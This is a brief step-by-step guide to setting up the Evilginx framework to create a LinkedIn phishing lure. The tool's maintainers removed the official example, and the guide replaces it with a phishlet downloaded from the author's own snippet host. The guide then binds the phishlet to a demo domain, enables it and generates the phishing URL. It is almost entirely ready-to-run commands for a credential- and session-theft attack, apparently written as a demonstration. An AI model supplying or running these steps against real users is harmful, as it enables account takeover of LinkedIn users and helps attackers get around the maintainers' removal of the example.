>[!note]
>As previously discussed the community edition of Evilginx has been kneecapped so the quickstart example in their documentation will not work. This guide will give a rough approximation of that tutorial

1. Install `curl`

```
apt install curl
```

2. Create the LinkedIn phishlet. This downloads a copy of a phishlet for my pastebin to replace the one the Evilginx team removed

```
curl -o ~/evilginx/phishlets/linkedin.yaml https://snippets.thesatelliteoflove.com/api/public/snippets/1/1/raw
```

3. Connect to your Evilginx tmux session and launch Evilginx

```
tmux new-session -A -s evilginx
~/evilginx/evilginx
```

4. Assign a hostname to the LinkedIn phishlet

```
phishlets hostname linkedin demo.philsphishpharm.click
```

5. Enable your phishlet

```
phishlets enable linkedin
```

6. Create a lure (link) for your phishlet. Once created the second command will return the link (assuming this is your first lure)

```
lures create linkedin
lures get-url 0
```

You now have a valid phising url. Good job!
